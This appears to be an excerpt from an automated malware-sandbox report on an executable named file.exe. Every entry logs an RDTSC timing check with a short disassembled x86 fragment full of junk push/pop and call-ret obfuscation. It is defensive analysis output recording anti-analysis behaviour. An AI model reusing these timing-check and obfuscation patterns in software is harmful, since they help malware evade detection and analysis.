Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938971 second address: 938A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D176h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F22FCB3D177h 0x00000010 nop 0x00000011 movsx edi, bx 0x00000014 call 00007F22FCB3D16Bh 0x00000019 sub edi, dword ptr [ebp+122D354Fh] 0x0000001f pop edi 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F22FCB3D168h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c jnl 00007F22FCB3D16Eh 0x00000042 push 00000000h 0x00000044 mov dword ptr [ebp+122D2F71h], edx 0x0000004a xchg eax, esi 0x0000004b push edx 0x0000004c jmp 00007F22FCB3D16Eh 0x00000051 pop edx 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jnl 00007F22FCB3D168h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938A12 second address: 938A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F22FC56C6D7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93084E second address: 930858 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C9B second address: 931C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935ADA second address: 935ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934C0C second address: 934C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C9F second address: 931CA9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941365 second address: 941369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935ADE second address: 935B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push ecx 0x00000008 mov dword ptr [ebp+1245B1CAh], eax 0x0000000e pop ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr [ebp+12484720h], esi 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 cld 0x00000024 mov eax, dword ptr [ebp+122D0C05h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F22FCB3D168h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push ecx 0x00000049 call 00007F22FCB3D168h 0x0000004e pop ecx 0x0000004f mov dword ptr [esp+04h], ecx 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc ecx 0x0000005c push ecx 0x0000005d ret 0x0000005e pop ecx 0x0000005f ret 0x00000060 jbe 00007F22FCB3D174h 0x00000066 pushad 0x00000067 jl 00007F22FCB3D166h 0x0000006d sub esi, dword ptr [ebp+122D222Dh] 0x00000073 popad 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push edi 0x00000078 jmp 00007F22FCB3D16Dh 0x0000007d pop edi 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931CA9 second address: 931CAE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941369 second address: 94136F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937CE6 second address: 937CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F22FC56C6CEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931CAE second address: 931CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935B70 second address: 935B82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F22FC56C6CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C0F7 second address: 93C0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F39C second address: 93F3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F3A2 second address: 93F3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94042F second address: 94043A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F22FC56C6C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937CFC second address: 937D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422D3 second address: 9422D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941503 second address: 941507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9415F8 second address: 941607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941607 second address: 941611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F22FCB3D166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94415D second address: 9441E6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F22FC56C6D5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F22FC56C6D4h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F22FC56C6CFh 0x0000001b jnc 00007F22FC56C6C6h 0x00000021 popad 0x00000022 popad 0x00000023 nop 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F22FC56C6C8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov bx, di 0x00000041 push 00000000h 0x00000043 mov edi, dword ptr [ebp+122D1CA9h] 0x00000049 push 00000000h 0x0000004b mov ebx, dword ptr [ebp+122D2C7Ah] 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492B8 second address: 9492C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F22FCB3D16Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492C6 second address: 9492CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492CC second address: 9492D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F22FCB3D166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492D7 second address: 9492E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F22FC56C6C6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492E6 second address: 9492EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2DC7 second address: 8E2DD5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2DD5 second address: 8E2DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C45F second address: 94C465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C465 second address: 94C46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F5E0 second address: 94F638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F22FC56C6D8h 0x0000000b jmp 00007F22FC56C6D7h 0x00000010 jo 00007F22FC56C6C6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007F22FC56C6C8h 0x0000001f push esi 0x00000020 pop esi 0x00000021 pushad 0x00000022 jmp 00007F22FC56C6CFh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F638 second address: 94F649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D16Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F649 second address: 94F64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F8D3 second address: 94F8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F8D9 second address: 94F8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F22FC56C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954CA9 second address: 954CDE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F22FCB3D174h 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F22FCB3D16Ch 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954DFC second address: 954E06 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F22FC56C6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954F07 second address: 954F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push esi 0x00000009 jmp 00007F22FCB3D16Bh 0x0000000e pop esi 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jc 00007F22FCB3D16Ah 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F22FCB3D174h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954F43 second address: 954F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954F49 second address: 954F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jno 00007F22FCB3D166h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B212 second address: 95B216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A546 second address: 95A54B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A68A second address: 95A694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A924 second address: 95A92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A92A second address: 95A943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F22FC56C6D4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A943 second address: 95A94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F22FCB3D166h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AAB6 second address: 95AABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AABC second address: 95AADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jg 00007F22FCB3D186h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AD93 second address: 95AD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AD97 second address: 95ADB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D179h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95ADB6 second address: 95ADC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F22FC56C6CAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95ADC6 second address: 95ADCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960E50 second address: 960E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960E54 second address: 960E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F22FCB3D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960E65 second address: 960E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FC56C6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960E75 second address: 960E8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007F22FCB3D166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FFF6 second address: 95FFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9606C9 second address: 9606EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pushad 0x00000008 jbe 00007F22FCB3D166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9606EC second address: 9606F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9606F2 second address: 960700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960700 second address: 960713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FC56C6CAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960713 second address: 960719 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B688 second address: 90B692 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F22FC56C6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B692 second address: 90B69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F5BC second address: 95F606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F22FC56C6D4h 0x0000000f jmp 00007F22FC56C6D8h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E47E3 second address: 8E4806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pushad 0x00000008 ja 00007F22FCB3D166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4806 second address: 8E4832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F22FC56C6C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F22FC56C6D4h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4832 second address: 8E4836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A75F second address: 96A767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A767 second address: 96A77B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007F22FCB3D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A77B second address: 96A77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A77F second address: 96A79D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F22FCB3D166h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F22FCB3D166h 0x00000014 jmp 00007F22FCB3D16Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A79D second address: 96A7A7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A7A7 second address: 96A7B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F22FCB3D166h 0x00000009 jnl 00007F22FCB3D166h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA39 second address: 96AA3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA3D second address: 96AA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA49 second address: 96AA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FC56C6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA59 second address: 96AA6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F22FCB3D166h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA6D second address: 96AA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96ABD4 second address: 96ABF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F22FCB3D179h 0x0000000b jmp 00007F22FCB3D171h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96ABF5 second address: 96AC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AC07 second address: 96AC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AC0B second address: 96AC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9707E1 second address: 9707E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9707E5 second address: 9707EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9257C6 second address: 9257CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9259C7 second address: 9259CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926109 second address: 926125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926125 second address: 92612B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9262B5 second address: 9262BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
